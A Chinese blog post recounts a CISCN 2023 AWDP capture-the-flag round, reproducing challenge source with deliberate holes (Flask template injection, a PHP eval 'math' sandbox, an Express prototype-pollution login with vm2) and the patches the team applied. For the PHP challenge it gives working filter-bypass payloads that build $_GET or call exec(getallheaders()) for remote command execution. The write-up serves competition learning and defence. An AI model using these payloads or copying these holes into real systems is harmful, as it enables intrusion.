ciscn2023华东北awdp

这段时间忙着考研,很久没有写博客了。这次国赛被神级逆向带进了半决赛,也算是第一次打awdp,记录一下吧。

第一次打awdp,队友实在是给力,最终拿到了15名,虽然有一些小小遗憾没有进决赛,但也基本上是满足了(甚至说有点意外,因为我几乎没做准备)。比较惭愧的是我们完全没拿到攻击分,靠着恰patch分进的15名😭。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import *
import os
from waf import waf
import re

app = Flask(__name__)

pattern = r'([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}):([0-9]{2,5})'
content = '''<!doctype html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta ip="%s">
<meta port="%s">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ciscn Search Engine</title>
</head>
<body>
<div class="htmleaf-container">
<div class="wrapper">
<div class="container">
<h1>Ciscn Search Engine</h1>
<form class="form" method="post" action="/" id="Form">
<input name="word" type="text" placeholder="word">
<button type="submit" id="login-button">Search</button>
</form>
</div>
<ul class="bg-bubbles">
<li>%s</li>
</ul>
</div>
</body>
</html>'''

@app.route("/", methods=["GET", "POST"])
def index():
ip, port = re.findall(pattern,request.host).pop()
if request.method == 'POST' and request.form.get("word"):
word = request.form.get("word")
if not waf(word):
word = "Hacker!"
else:
word = ""
return render_template_string(content % (str(ip), str(port), str(word)))


if __name__ == '__main__':
app.run(host="0.0.0.0", port=int(os.getenv("PORT")))

附件就给了个app.py,至于waf没有给,刚上手的时候对awdp不太熟,光想着打了,没去patch,痛失好多分。

patch的话很简单,给他大括号过滤掉就好了,ssti什么骚操作都避不开大括号捏

1
2
if '{' in word:
word="Hacker!"

当时断网的状态没研究出来怎么绕过,因为waf实在是太严格了,按照我的测试,_,args,config,[]之类的全给过滤了。本来还想着用request.args去绕过,但是无功而返(没有网络我就是fw)。赛后听别的师傅说确实是用request value一系列的去绕过,还是对这一块不太熟,等考研结束一定细细研究。

master of math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file(__FILE__);
if (isset($_GET['hello'])) {
$temp = $_GET['hello'];
is_numeric($temp) ? die("no numeric") : NULL;
if ($temp > 0x1337) {
echo "Wow, we can't stop you.</br>";
} else {
die("NO!NO!NO!");
}
}
else {
die("How are you?");
}

if (isset($_GET['content'])) {
$content = $_GET['content'];
if (strlen($content) >= 60) {
die("Too long!");
}
$blacklist = [' ', '\'', '"', '\t', '`', '\[', '\]', '\{', '\}', '\r', '\n', '\f'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("Special char found!");
}
}
$security = ['abs', 'base_convert', 'cos', 'dechex', 'exp', 'getrandmax', 'hexdec', 'is_nan', 'log', 'max', 'octdec', 'pi', 'sin', 'tan'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $security)) {
die("I don't like this.");
}
}
eval('echo '.$content.';');
}
else {
die("Where is my content?");
}
?>

这题我是做过的,叫lovemath应该,不过他这个比较严格一点,要求在60字以内,我上次的博客最极限干到70了(详情参考前面的文章)。

比较常规的思路是通过$_GET[]传参,但是[]被过滤了,php中的数组也可以用{}来访问,仅限于低版本。

PHP7.4不再能够使用花括号来访问数组或者字符串的偏移.需要将{}修改成[]

1
base_convert(37907361743,10,36)(dechex(1598506324));

上面的payload可以获得_GET

如果构造完整的payload还是超长了,可以把以上payload存入变量,然后复用两次变量,一个作为system,一个作为参数。

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{1}($$pi{2});

这里get的参数值直接用了int,可以不用管引号,经过测试是可行的

image-20221103191804403

因为复用了一次get,所以长度也没有超标,至此完成完美getshell,执行cat /flag获得flag

其实还是走了一段弯路,可以构造getallheader来得到请求头,利用请求头传参来实现rce

1
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})  //exec(getallheaders(){1})

不过怪我没有继续研究,比赛的时候就一个小时了,真搓不出来了。不过patch倒是不难,我当时给过滤了几个敏感的数字和逗号以及分号。(过滤美元符号会影响正常功能)

1
$blacklist = [' ', '\'', '"', '\t', '`', '\[', '\]', '\{',  '\}', '\r', '\n', '\f','37907361743','1598506324','8768397090111664438',',',';'];

赛后想了一下,关键点应该是逗号和分号,这样它就不能声明变量了,以至于没法继续缩短payload。

下面几个题目是队友patch的,我就大致说一下思路好了。

一个nodejs题(不记得名字了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const path = require('path');
const { VM } = require('vm2');

const app = express();
const vm = new VM();

function merge(target, source) {
for (let key in source) {
if (key === 'escapeFunction' || key === 'outputFunctionName') {
throw new Error("No RCE")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.use(express.static(path.join(__dirname, './static')));
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
name: 'tainted_node_session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))

app.all("/login", (req, res) => {
if (req.method == 'POST') {
let userInfo = {}
try {
merge(userInfo, req.body)
} catch (e) {
return res.render("login", {message: "Login Error"})
}

if (userInfo.username == "admin" && userInfo.password === "realpassword") {
userInfo.logined = true
}

req.session.userInfo = userInfo
if (userInfo.username == "admin" && userInfo.logined == true)
{
return res.redirect('/sandbox')
}
else {
return res.render("login", {message: "You are not admin"})
}
}else {
if (req.session.userInfo){
if (req.session.userInfo.logined == true && req.session.userInfo.username == "admin"){
return res.redirect('/sandbox')
}else{
return res.render("login", {message: "You are not admin"})
}
}else {
return res.render('login', {message: ""});
}
}
});

app.all('/sandbox', (req, res) => {
if (req.session.userInfo.logined != true || req.session.userInfo.username != "admin") {
return res.redirect("/login")
}

const code = req.query.code || '';
result = vm.run((code));
res.render('sandbox', { result });
})

app.all('/', (req, res) => {
return res.redirect('/login')
})

app.listen(8888, () => console.log(`listening on port 8888!`))

这题一看就是express原型链污染,不过当时上了好多题,重心没放在这里,我本地也没有太多原型链污染的资料,就没有去深究。

最终patch的方案比较奇技淫巧,某人给他merge的参数改成白名单了,只能传入admin(笑。遂patch成功。

一个spring题(很显然我也不记得名字了)

我没看,估计不是个反序列化就是个sql注入,题目本身的waf已经很严格了,然而他本来的意思是把用户输入转成小写再匹配防止绕过,但是好像没有意识到他的waf写的是驼峰(笑。遂被某队友咔咔修掉了。

zero

题目代码不多,大概就是要拿到个token去认证,然后就能进process.go骚操作,里面有句exec.Command("/bin/bash", "-c", cmd).Run()。因为是断网赛没法本地编译,某队友遂在二进制文件里把这句砸了,莫名其妙的过patch了,乐。

这次主要还是没有啥经验,下次断网赛一定本地做好资料库的准备,也不至于攻击分0,太丢人了。技巧大概就是出新题,先尝试一下patch,因为防的话其实并没有那么难,并不需要知道那么多细节,大概知道是啥题和一些绕过的手段,直接改waf就能防下来了,先把patch的分恰到,因为awdp时间太重要了,同样一个题,有的队能恰5w+,有的队就能拿几千分,主要还是个时间的问题,争分夺秒,能早些patch就早些patch,攻击可以留到patch的缝隙。也不要死磕一题,时间最重要,没有想法及时收手。